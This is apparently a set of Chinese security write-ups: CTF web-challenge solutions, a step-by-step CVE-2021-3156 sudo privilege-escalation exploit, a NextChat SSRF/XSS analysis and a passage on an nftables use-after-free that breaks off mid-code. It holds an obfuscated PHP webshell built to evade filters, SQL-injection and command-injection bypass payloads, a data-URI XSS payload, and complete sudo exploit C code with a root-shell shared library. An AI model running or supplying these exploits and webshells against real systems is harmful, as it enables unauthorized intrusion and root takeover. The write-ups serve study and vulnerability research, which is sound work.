0x01 命令执行 直接payload: 127.0.0.1 &whoami，发现可以成功执行whoami命令 然后ls ../ ，发现有个key.php文件 尝试用cat命令查看发现不行被拦截了。（其实题目过滤了常用的查看文件的命令） 这里有两种思路，第一种是根据题目意思用命令执行写webshell的方式去进行getshell，第二种方式则是使用linux的命令进行绕过。这里采用第二种方式使用c''at的方式进行绕过。 0x02 基础题目之文件上传突破 可以发现部分上传代码，文件名被命名成一个随机数加上原本的文件名然后md5的值。 直接上传一个带图片头的php木马（会检测是否是图片，所以需要一个GIF89A当图片头），而且过滤了一些敏感函数如eval等。这里直接上传一个免杀的木马即可。 <?php function go() { $func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); return $func1; } $func1 = go(); $array1 = array($_GET['cmd']); array_map($func1, $func1 = $array1); ?> 然后接下来就是爆破出shell的地址了，这里我们直接把上传的数据包重放1000次用来提高爆破成功的效率。 用burp的null payload发送1000次 然后设置上传的文件名1.php为前缀，加上随机数的1~99999，最后经过md5加密即可。 设置前缀为1.php （上传的文件名） 然后添加md5 最后就是等待爆破成功。 key在web根目录下的key.php文件 0x03 基础题目之流量分析 下载数据包，使用wireshark发现是http协议居多，首先可以使用wireshark的导出文件查看一下http的访问文件分组。 可以发现攻击者在进行目录爆破。这里可以直接选择 然后根据文件大小排序一下，发现其中有一个压缩包。 但是压缩包设置了密码 然后查找http数据中是否有包含压缩包名字的数据包，其中phpspy.php包含了这个压缩包的名称。 追踪流结果发现Adm1n!是解压密码（%21是url编码） 0x04 代码审计 考点就是让数字绕过is_numerice判断，这里直接使用数字后面跟一个字符串即可绕过。 0x05 基础题目之SQL注入 首先发现题目有一个注册界面，注册账号之后进行登录。 然后再发表文章处发现存在insert注入。 直接抓取数据包使用sqlmap即可 0x06 基础题目之SQL注入 没什么特别的，只是过滤了union关键字这里用双写绕过就可以了， ununionion这样。 然后直接load_file读取文件即可获取key。 0x07 无回显命令执行 很简单，看了一下代码，限制了cmd参数的命令长度而已。可以使用linux的流符号生成一个文件 0x08 二阶SQL注入 二次注入是一种SQL注入攻击的形式，它涉及到用户输入的数据在第一次被存储到数据库中时被错误地处理，导致在后续的查询中，这些原本被转义的数据再次被使用，从而执行恶意命令。 第一步是插入恶意数据： 在第一次插入数据时，开发者可能使用了函数如addslashes过滤了，这时是没有问题的。 比如注册功能： 这里注册一个test'用户 ，由于'被成功转义成了'所以这里是能够正常执行sql语句的。 然后登录test'用户也是没有问题的 但是问题出现再第二次数据库操作中，由于被存入的数据库的用户名是test'，那么在第二次系统从数据库中获取用户名的时候如果没有过滤那么就会造成二次注入。 比如更新密码： 系统的语句可能会长这样： update user set passwd = 'newpasswd' where uname = 'test'' #test'是用户名。那么这种情况就可能导致注入。 那么二次注入怎么利用，这里可以看到需要admin用户登录才能够得到key，那么我们能够用构造一条语重置admin密码就可以了 update user set passwd = 'newpasswd' where uname = 'aaa' or 1 --a' aaa' or 1 -- a是用户名 用新用户重置admin的密码 再次登录admin

环境搭建 直接拉取合适的docker docker 环境： https://hub.docker.com/r/chenaotian/cve-2021-3156下载glibc-2.27源码和sudo-1.8.21源码 漏洞分析 /* set user_args */ if (NewArgc > 1) {    char *to, *from, **av;    size_t size, n;    /* Alloc and build up user_args. */    for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; //计算command缓冲区的大小，每个command后面跟一个空格符    if (size == 0 || (user_args = malloc(size)) == NULL) {  //分配堆块，存放command sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(-1);   }    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {  // 设置-s参数进入分支 /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces * for sudoers matching and logging purposes. */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) {    while (*from) { if (from[0] == '\\' && !isspace((unsigned char)from[1]))    from++; // 跳过反斜杠 *to++ = *from++; // 复制反斜杠后面的字符   } // 漏洞点在于当结尾是\且后面不是空格时，会from++一次，在拷贝完后还会from++，再去判断while的条件，就跳过了0，造成了越界写。    *to++ = ' '; //每个command后面跟一个空格 } *--to = '\0';   } else { for (to = user_args, av = NewArgv + 1; *av; av++) {    n = strlcpy(to, *av, size - (to - user_args));    if (n >= size - (to - user_args)) { sudo_warnx(U_("internal error, %s overflow"), __func__); debug_return_int(-1);   }    to += n;    *to++ = ' '; } *--to = '\0';   } }   } 结合调试，可以对漏洞的情况有更清楚的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数，在这里有两点： ①以反斜杠结尾可导致溢出 ②以反斜杠作为参数可以写入零字节 同时，被溢出的那个堆块的大小等于对应参数长度+1。 漏洞调试 glibc源码 gdb exp catch exec b policy_check b sudoers.c:846 b setlocale b sudo.c:148 b setlocale.c:369 // strdup b setlocale.c:398 b nss_load_librarygcc exp.c -o exp2 -lm 漏洞利用 1 利用目标 p ni 可以发现service_user结构体在堆上 堆块大小为0x40 nss_load_library的函数调用流程和相关的数据结构机制 /* Load library. */ static int ' (service_user *ni) {  if (ni->library == NULL) // ni->library等于0进入分支   {      /* This service has not yet been used. Fetch the service library for it, creating a new one if need be. If there is no service table from the file, this static variable holds the head of the service_library list made from the default configuration. */      static name_database default_table;      ni->library = nss_new_service (service_table ?: &default_table,     ni->name); // 新建一个ni->library，并将成员初始化      if (ni->library == NULL) return -1;   }  if (ni->library->lib_handle == NULL) // ni->library是新建的，lib_handle是0   {      /* Load the shared library. */      size_t shlen = (7 + strlen (ni->name) + 3      + strlen (__nss_shlib_revision) + 1);      int saved_errno = errno;      char shlib_name[shlen];      /* Construct shared object name. */      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,      "libnss_"),    ni->name),  ".so"), __nss_shlib_revision); // shlib_name经过拼接得到 libnss_+ni->name+.so+__nss_shlib_revision      ni->library->lib_handle = __libc_dlopen (shlib_name);// 加载动态库      if (ni->library->lib_handle == NULL) {  /* Failed to load the library. */  ni->library->lib_handle = (void *) -1l;  __set_errno (saved_errno); } 通过对nss_load_library源码的分析，发现这里如果能将ni结构体的library覆盖为0，name覆盖成自己的so文件名，具体为libnss_XXX/test.so.2，其中libnss_是拼接的路径，XXX/test是name的值，.so.2是拼接上去的，拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2，我们完成修改后，在当前路径下创建对应的文件夹，将恶意文件放到其中，更名为test.so.2，就能加载执行恶意文件。 2 堆块布局 接下来，就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。 这就来到了第二个问题，setlocale 如何通过环境变量LC_* 进行堆布局。 // locale\setlocale.c      /* Load the new data for each category. */      while (category-- > 0) if (category != LC_ALL) {    newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, &newnames[category]);//通过_nl_find_locale函数去获取环境变量的值，存放在newdata[category]中    if (newdata[category] == NULL)     { #ifdef NL_CURRENT_INDIRECT if (newnames[category] == _nl_C_name)  /* Null because it's the weak value of _nl_C_LC_FOO. */  continue; #endif break;     } 首先是通过_nl_find_locale函数去获取环境变量的值，存放在newdata[category]中 // locale\findlocale.c struct __locale_data * _nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char **name) { ...... /* LOCALE can consist of up to four recognized parts for the XPG syntax: language[_territory[.codeset]][@modifier]     Beside the first all of them are allowed to be missing. If the     full specified locale is not found, the less specific one are     looked for. The various part will be stripped off according to     the following order: (1) codeset (2) normalized codeset (3) territory (4) modifier   */   //locale的命名规则为<语言>_<地区>.<字符集编码>，如zh_CN.UTF-8，zh代表中文，CN代表大陆地区，UTF-8表示字符集。   // C.UTF-8@AAAAAAAAA  mask = _nl_explode_name (loc_name, &language, &modifier, &territory,   &codeset, &normalized_codeset);   // 判断四个部分那部分有缺失  if (mask == -1)    /* Memory allocate problem. */    return NULL;  /* If exactly this locale was already asked for we have an entry with     the complete name. */  locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],    locale_path, locale_path_len, mask,    language, territory, codeset,    normalized_codeset, modifier,    _nl_category_names.str    + _nl_category_name_idxs[category], 0);  if (locale_file == NULL)   {      /* Find status record for addressed locale file. We have to search through all directories in the locale path. */      locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 1);      if (locale_file == NULL) /* This means we are out of core. */ return NULL;   } 结合源码和相关资料，可以知道locale的命名规则为<语言>_<地区>.<字符集编码>，如zh_CN.UTF-8，zh代表中文，CN代表大陆地区，UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA 堆申请原语和堆释放原语 // locale\setlocale.c      /* Load the new data for each category. */      while (category-- > 0) if (category != LC_ALL) {    newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, &newnames[category]);//通过_nl_find_locale函数去获取环境变量的值，存放在newdata[category]中    if (newdata[category] == NULL)     { #ifdef NL_CURRENT_INDIRECT if (newnames[category] == _nl_C_name)  /* Null because it's the weak value of _nl_C_LC_FOO. */  continue; #endif break;     }    /* We must not simply free a global locale since we have       no control over the usage. So we mark it as       un-deletable. And yes, the 'if' is needed, the data       might be in read-only memory. */    if (newdata[category]->usage_count != UNDELETABLE)      newdata[category]->usage_count = UNDELETABLE;    /* Make a copy of locale name. */    if (newnames[category] != _nl_C_name)     { if (strcmp (newnames[category],    _nl_global_locale.__names[category]) == 0)  newnames[category] = _nl_global_locale.__names[category]; else {    newnames[category] = __strdup (newnames[category]);    //使用__strdup函数在堆内存中分配空间，并将newdata[category]拷贝进去    if (newnames[category] == NULL)      break; }     } }      /* Create new composite name. */      composite = (category >= 0   ? NULL : new_composite_name (LC_ALL, newnames));      if (composite != NULL) {  /* Now we have loaded all the new data. Put it in place. */  for (category = 0; category < __LC_LAST; ++category)    if (category != LC_ALL)     { setdata (category, newdata[category]); setname (category, newnames[category]);     }  setname (LC_ALL, composite);  /* We successfully loaded a new locale. Let the message catalog     functions know about this. */  ++_nl_msg_cat_cntr; }      else for (++category; category < __LC_LAST; ++category)  if (category != LC_ALL && newnames[category] != _nl_C_name      && newnames[category] != _nl_global_locale.__names[category])    free ((char *) newnames[category]);    //这里就是堆块释放的原语了，只要有一个区域设置的值不符合规范，则将之前所有申请的堆块都释放掉 先使用__strdup函数在堆内存中分配空间，并将newdata[category]拷贝进去，其中 char * __strdup(const char *s) {   size_t  len = strlen(s) +1;   void *new = malloc(len);   if (new == NULL)      return NULL;   return (char *)memecpy(new,s,len); } 然后当遇到不合法的区域的值时，就会将前面申请的堆都free掉。 locale把按照所涉及到的使用习惯的各个方面分成12个大类，这12个大类分别是： 1、语言符号及其分类(LC_CTYPE) 2、数字(LC_NUMERIC) 3、比较和习惯(LC_COLLATE) 4、时间显示格式(LC_TIME) 5、货币单位(LC_MONETARY) 6、信息主要是提示信息,错误信息,状态信息,标题,标签,按钮和菜单等(LC_MESSAGES) 7、姓名书写方式(LC_NAME) 8、地址书写方式(LC_ADDRESS) 9、电话号码书写方式(LC_TELEPHONE) 10、度量衡表达方式 (LC_MEASUREMENT) 11、默认纸张尺寸大小(LC_PAPER) 12、对locale自身包含信息的概述(LC_IDENTIFICATION)。 对应 "LC_CTYPE" "LC_NUMERIC" "LC_TIME" "LC_COLLATE" "LC_MONETARY", "LC_MESSAGES" "LC_ALL" "LC_PAPER" "LC_NAME" "LC_ADDRESS" "LC_TELEPHONE" "LC_MEASUREMENT" "LC_IDENTIFICATION" 其中，处理是从下往上的顺序处理的，所以在传参的时候要注意一下顺序，不然最开始就错误全部释放掉了。 接下里就是想要如何将一个service_user申请到前面我的堆块前面 可以在申请service_user前，先利用堆申请原语和堆释放原语挖好坑。由于知道service_user的chunk大小是0x40，而我们堆溢出的chunk的大小可以自己控制，只要保证大小对应，就可以了。 通过动态调试可以明确__strdup的参数是C.UTF-8@XXXXXX，所以得到的堆块size是参数长度+1，利用下面脚本生成目标size的内容。 length = 0x38 while(length < 0x100):    tail = 'C.UTF-8@'    # length = 0x48    q = "a"*(length-2)+"\\"    p = tail+'a'*(length-1-len(tail))    print(hex(length))    print(q)    print(p)    length += 0x10 经过测试，先按照0x40,0x40,0xa0,0x40的顺序设置4个，再设置一个不合法的，可以在中间一些无法避免的堆块操作后得到一个可利用的堆排布。最后设置一个非法的值。 "LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "LC_NAME=xxxxxxxx" 其中0xa0是为堆溢出的堆块留的坑 /* set user_args */ if (NewArgc > 1) {    char *to, *from, **av;    size_t size, n;    /* Alloc and build up user_args. */    for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1;    if (size == 0 || (user_args = malloc(size)) == NULL) { sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(-1);   } 在malloc前下断点· b sudoers.c:849 查看bins，可以看到tcachebins中0xa0正好有一个堆块 然后在nss_load_library下断点，查看service_user b nss_load_library p ni 可以看到前面0xa0的堆块在service_user的前面，这样就可以通过溢出覆盖name字段 所以填坑的参数按照前面的分析应该是 "a"*(0x98-1)+"\\" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\" 综合得到如下初步exp #include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h> #define __LC_CTYPE               0 #define __LC_NUMERIC             1 #define __LC_TIME               2 #define __LC_COLLATE             3 #define __LC_MONETARY           4 #define __LC_MESSAGES           5 #define __LC_ALL                 6 #define __LC_PAPER               7 #define __LC_NAME               8 #define __LC_ADDRESS             9 #define __LC_TELEPHONE         10 #define __LC_MEASUREMENT       11 #define __LC_IDENTIFICATION     12 char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"}; int main() {    char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1    char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa    execve("/usr/local/bin/sudoedit",argv,env); } 3 溢出利用 当前exp把XXX/test写到了0x555555623b07 此时的service_user在0x5555556241b0，name的偏移是0x30 start = 0x555555623b07 end = 0x5555556241b0+0x30 n = end-start print(n) for i in range(n):    print('"\\\\"',end=',')   前面知道以反斜杠作为单独的参数，能够写入\x00，由于这里需要把library字段覆盖为0，所以通过上述代码生成相应数量的反斜杠，并填在XXX/test前，将XXX/test填入name的同时将library填为0。 共1753个反斜杠 exp #include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h> #define __LC_CTYPE               0 #define __LC_NUMERIC             1 #define __LC_TIME               2 #define __LC_COLLATE             3 #define __LC_MONETARY           4 #define __LC_MESSAGES           5 #define __LC_ALL                 6 #define __LC_PAPER               7 #define __LC_NAME               8 #define __LC_ADDRESS             9 #define __LC_TELEPHONE         10 #define __LC_MEASUREMENT       11 #define __LC_IDENTIFICATION     12 char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"}; int main() {    char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1    char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","    execve("/usr/local/bin/sudoedit",argv,env); } 覆盖结果如上 拼接完成后会执行      /* Construct shared object name. */      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,      "libnss_"),    ni->name),  ".so"), __nss_shlib_revision);      ni->library->lib_handle = __libc_dlopen (shlib_name);      if (ni->library->lib_handle == NULL) {  /* Failed to load the library. */  ni->library->lib_handle = (void *) -1l;  __set_errno (saved_errno); } 通过__libc_dlopen打开文件 4 提权收工 最后编译后门test.so.2，并放入libnss_XXX文件夹 这里借用https://cloud.tencent.com/developer/article/1826931中的代码 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define EXECVE_SHELL_PATH "/bin/sh" static void __attribute__ ((constructor)) pop_shell(void); char *n[] = {NULL}; void pop_shell(void) {    printf("[+] executed!\n");    setresuid(0, 0, 0);    setresgid(0, 0, 0);    if(getuid() == 0) {        puts("[+] we are root!");   } else {        puts("[-] something went wrong!");        exit(0);   }    execve(EXECVE_SHELL_PATH, n, n); }gcc -fPIC -shared test.c -o libnss_XXX/test.so.2 chmod 777 libnss_XXX/test.so.2 提权效果 总结 这个老洞新探，还是挺有意思的， 从源码分析到动态调试，整个过程对程序调试的能力有很大的锻炼。在这个洞的利用中，思路是比较清晰的，但在堆排布那里，由于中间会有很多其他的堆块操作是我们不可控，就会存在较大困难，要么通过逆向分析梳理所有的堆块操作然后手动构造，要么就是通过fuzz。前者费时费力，而且存在很多问题，后者需要对fuzz进行一定的学习。在盲目手动构造的过程中，好不容易在service_user之前留下了坑，但还是遇到了几种情况，一是在没有加溢出的时候的service_user结构体的地址和加了溢出字符后的不一样，二是在根本走不到nss_load_library就崩溃了，三是修改了最近的一个 总的来说，这个洞还有很多可以学习的地方，后面学学fuzz后再来试试这个洞。

1. 漏洞介绍 日常网上冲浪，突然粗看以为是有关Chat-GPT的CVE披露出来了，但是仔细一看原来是ChatGPT-Next-Web的漏洞。漏洞描述大致如下：（如果有自己搭建了还没更新的速速修复升级防止被人利用，2.11.3已经出来了） NextChat，也称为 ChatGPT-Next-Web，是与 ChatGPT 一起使用的跨平台聊天用户界面。 2.11.2 及之前的版本容易受到服务器端请求伪造和跨站点脚本攻击的影响。2024年3月，互联网上披露CVE-2023-49785,攻击者可在无需登陆的情况下构造恶意请求造成SSRF，造成敏感信息泄漏等。 2. 漏洞分析 定位到漏洞代码：app/api/cors/[...path]/route.ts： 也就是大致如下内容： import { NextRequest, NextResponse } from "next/server"; async function handle(  req: NextRequest, { params }: { params: { path: string[] } }, ) {  if (req.method === "OPTIONS") {    return NextResponse.json({ body: "OK" }, { status: 200 }); }  const [protocol, ...subpath] = params.path;  const targetUrl = `${protocol}://${subpath.join("/")}`;  const method = req.headers.get("method") ?? undefined;  const shouldNotHaveBody = ["get", "head"].includes(    method?.toLowerCase() ?? "", );  const fetchOptions: RequestInit = {    headers: {      authorization: req.headers.get("authorization") ?? "",   },    body: shouldNotHaveBody ? null : req.body,    method,    // @ts-ignore    duplex: "half", };  const fetchResult = await fetch(targetUrl, fetchOptions);  console.log("[Any Proxy]", targetUrl, {    status: fetchResult.status,    statusText: fetchResult.statusText, });  return fetchResult; } 在这段代码中，这里没有做任何的安全防护。params.path 是通过请求参数传入的，这意味着用户可以控制请求的路径部分。这个路径部分会被直接拼接到一个新的 URL 中，并在后续的代码中被用于发起请求，以绕过访问控制、访问内部系统或执行其他攻击。 举个例子，当你访问 /api/cors/https/baidu.com 时，请求将被路由到这段代码中。在这里，protocol 将被设置为 https，subpath 将被设置为 ['baidu.com']。然后，这两部分将被拼接成 https://baidu.com，作为目标 URL。接下来，根据代码的逻辑，将会使用 fetch 发起一个对 https://baidu.com 的请求。这个请求的方法和请求体等信息将根据原始请求中的信息进行配置，然后将响应返回给客户端。 我们验证一下，果然存在。 至于披露着所说的反射型XSS，则完全是因为这里是用的fetch发包，fetch方法也支持 data 协议,且对后续的参数没有过滤限制导致的，所以我们通过参数拼接如下即可实现： /api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydCgiQ1ZFLTIwMjMtNDk3ODUiKTwvc2NyaXB0Pg==%23 3. 总结 没想到一个64.5k star 的项目之前居然对SSRF一点防护都没有做。 /api/cors 端点作为一个开放代理的设计，允许未经身份验证的用户通过它发送任意的 HTTP 请求。这个端点似乎是为了支持将客户端聊天数据保存到 WebDAV 服务器而添加的。 我查看了最新的源代码： 具体的官方修复思路如下： 移除开放代理端点：最终修复方案中，移除了原始的开放代理端点/api/cors。 替换为特定用途的端点：取而代之的是添加了两个新的端点/api/upstash和/api/webdav，这些端点具有特定的用途，分别用于与 Upstash 和 WebDAV 服务进行集成。这种替换的方式限制了端点的功能范围，并提供了更专门化的功能，有助于减少系统的安全风险。 增加安全验证和限制： /api/upstash 限制目标URL：修复代码首先通过检查请求参数中的endpoint来限制目标URL。它要求目标URL必须是以.upstash.io结尾的有效URL，这样就限制了请求只能发送到特定的Upstash服务。 限制请求方法：修复代码还对请求中的操作类型进行了限制。它只允许get和set两种操作类型的请求，如果请求的操作类型不是这两种之一，则会返回403 Forbidden响应。 /api/webdav 请求方法限制： 修复代码只允许特定的HTTP请求方法，包括MKCOL、GET和PUT。对于其他不允许的请求方法，如POST等，会返回403 Forbidden响应。 目标路径验证： 修复代码对于不同的请求方法，会对目标路径进行不同的验证： 对于MKCOL请求，只允许请求目标路径为指定的folder，如果请求的目标路径不是以指定的folder结尾，则返回403 Forbidden响应。 对于GET请求，只允许请求目标路径为指定的fileName，如果请求的目标路径不是以指定的fileName结尾，则返回403 Forbidden响应。 对于PUT请求，同样只允许请求目标路径为指定的fileName，如果请求的目标路径不是以指定的fileName结尾，则返回403 Forbidden响应。

前言 在nftales中存在着集合(sets)，用于存储唯一值的集合。sets 提供了高效地检查一个元素是否存在于集合中的机制，它可以用于各种网络过滤和转发规则。 而CVE-2022-32250漏洞则是由于nftables在处理set时存在uaf的漏洞。 环境搭建 ubuntu20 + QEMU-4.2.1 + Linux-5.15 .config文件 CONFIG_NF_TABLES=y CONFIG_NETFILTER_NETLINK=y CONFIG_E1000=y CONFIG_E1000E=y CONFIG_USER_NS=y，开启命名空间 开启KASAN：make menuconfig --> Kernel hacking -->Memory Debugging --> KASAN 在ubuntu20直接安装的libnftnl版本太低，因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下载 ./configure --prefix=/usr && make sudo make install 漏洞验证 poc:https://seclists.org/oss-sec/2022/q2/159 在运行poc时，KASAN检测出存在uaf漏洞 漏洞原理 从KASAN给出的信息可知，该漏洞与set有关，因此从set的创建到使用进行源码分析。 在nf_tables_newset内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID是否被设置，若这些条件不具备则直接返回。 File: linux-5.15\net\netfilter\nf_tables_api.c 4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info, 4206:    const struct nlattr * const nla[]) 4207: {   ...        //判断创建set的必备条件是否具备 4227: if (nla[NFTA_SET_TABLE] == NULL || 4228:    nla[NFTA_SET_NAME] == NULL || 4229:    nla[NFTA_SET_KEY_LEN] == NULL || 4230:    nla[NFTA_SET_ID] == NULL) 4231: return -EINVAL;   ... 集合通过kvzalloc函数开辟空间 File: linux-5.15\net\netfilter\nf_tables_api.c   ... 4369: set = kvzalloc(alloc_size, GFP_KERNEL); 4370: if (!set) 4371: return -ENOMEM; ... 在成功创建集合后，就会进行初始化的过程，有一个变量需要重点关注，即set->bindings。 File: linux-5.15\net\netfilter\nf_tables_api.c   ...    //对集合做初始化 4390: INIT_LIST_HEAD(&set->bindings); 4391: INIT_LIST_HEAD(&set->catchall_list); 4392: set->table = table; 4393: write_pnet(&set->net, net); 4394: set->ops = ops; 4395: set->ktype = ktype; 4396: set->klen = desc.klen; 4397: set->dtype = dtype; 4398: set->objtype = objtype; 4399: set->dlen = desc.dlen; 4400: set->flags = flags; 4401: set->size = desc.size; 4402: set->policy = policy; 4403: set->udlen = udlen; 4404: set->udata = udata; 4405: set->timeout = timeout; 4406: set->gc_int = gc_int; ... 当初始化完毕之后，会去判断创建集合时，该集合是否有需要创建的表达式。 File: linux-5.15\net\netfilter\nf_tables_api.c ...   //判断是否有表达式需要创建 4416: if (nla[NFTA_SET_EXPR]) { 4417: expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表达式的创建 4418: if (IS_ERR(expr)) { 4419: err = PTR_ERR(expr); 4420: goto err_set_expr_alloc; 4421: } 4422: set->exprs[0] = expr; 4423: set->num_exprs++; ... 在代码[1]处会对表达式进行初始化，紧接着在代码[2]处会对表达式的标志位进行校验，当表达式的标志位不具备NFT_EXPR_STATEFUL属性，那么就会跳转到[3]中进行销毁表达式的处理，紧接着返回错误。这里似乎会存在问题，因为代表[1]与[2]是先创建表达式再检验，就会导致任意的表达式被创建。 File: linux-5.15\net\netfilter\nf_tables_api.c 5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx, 5310: const struct nft_set *set, 5311: const struct nlattr *attr) 5312: { 5313: struct nft_expr *expr; 5314: int err; 5315: 5316: expr = nft_expr_init(ctx, attr); --->[1] 5317: if (IS_ERR(expr)) 5318: return expr; 5319: 5320: err = -EOPNOTSUPP; 5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2] 5322: goto err_set_elem_expr; 5323: ... 5334: err_set_elem_expr: 5335: nft_expr_destroy(ctx, expr); --->[3] 5336: return ERR_PTR(err); 5337: } 回顾KASAN的报告，发现该漏洞与表达式nft_lookup有关，因此接下来关注一下lookup表达式初始化的过程。 lookup表达式的结构体如下，可以看到在lookup结构体里存在着binding变量，是上面set会初始化的一个变量。 struct nft_lookup { struct nft_set *set; //集合 u8 sreg; //源寄存器 u8 dreg; //目的寄存器 bool invert; struct nft_set_binding binding; }; nft_set_bing结构体实则是维护了一个双链表。 struct nft_set_binding { struct list_head list; const struct nft_chain *chain; u32 flags; }; nft_lookup_init函数负责初始化lookup表达式，可以看到需要set与源寄存器都存在的情况下才能够完成创建。 File: linux-5.15\net\netfilter\nft_lookup.c 095: static int nft_lookup_init(const struct nft_ctx *ctx, 096:   const struct nft_expr *expr, 097:   const struct nlattr * const tb[]) 098: {   ...        //检测set与源寄存器的值 105: if (tb[NFTA_LOOKUP_SET] == NULL || 106:    tb[NFTA_LOOKUP_SREG] == NULL) 107: return -EINVAL;   ... 紧接着检索需要搜索的set。 File: linux-5.15\net\netfilter\nft_lookup.c ... 109: set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET], 110:    tb[NFTA_LOOKUP_SET_ID], genmask); 111: if (IS_ERR(set)) 112: return PTR_ERR(set); ... 最后在完成了set的搜索后，就会进行一个绑定操作，会将表达式的binging接入的set的binding。 File: linux-5.15\net\netfilter\nft_lookup.c ... 148: err = nf_tables_bind_set(ctx, set, &priv->binding); 149: if (err < 0) 150: return err; ... 首先在绑定之前会校验链表是否是匿名并且非空。 File: linux-5.15\net\netfilter\nf_tables_api.c 4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set, 4607:       struct nft_set_binding *binding) 4608: {   ... 4615: if (!list_empty(&set->bindings) && nft_set_is_anonymous(set)) 4616: return -EBUSY;   ... 在通过上面的检测后，就会将当前表达式的加入到set中， File: linux-5.15\net\netfilter\nf_tables_api.c ... 4643: list_add_tail_rcu(&binding->list, &set->bindings); ... 综上所述，bing的作用实则是维护相同set下的不同的表达式。具体流程如下。 在set创建时，会初始化bindings指向自己本身。 紧接着若有lookup表达式创建，并绑定上述的set时，因此通过set的bingdings，可以检索在当前set上的所有expr。 在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL，如[2]所示 5321: if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2] 5322: goto err_set_elem_expr; 在初始化lookup表达式时，是不会给flags设置值的，因此默认值即为0，因此在创建set的同时创建lookup表达式，lookup表达式的类型是默认为0，是无法绕过检测的。 struct nft_expr_type nft_lookup_type __read_mostly = { .name = "lookup", .ops = &nft_lookup_ops, .policy = nft_lookup_policy, .maxattr = 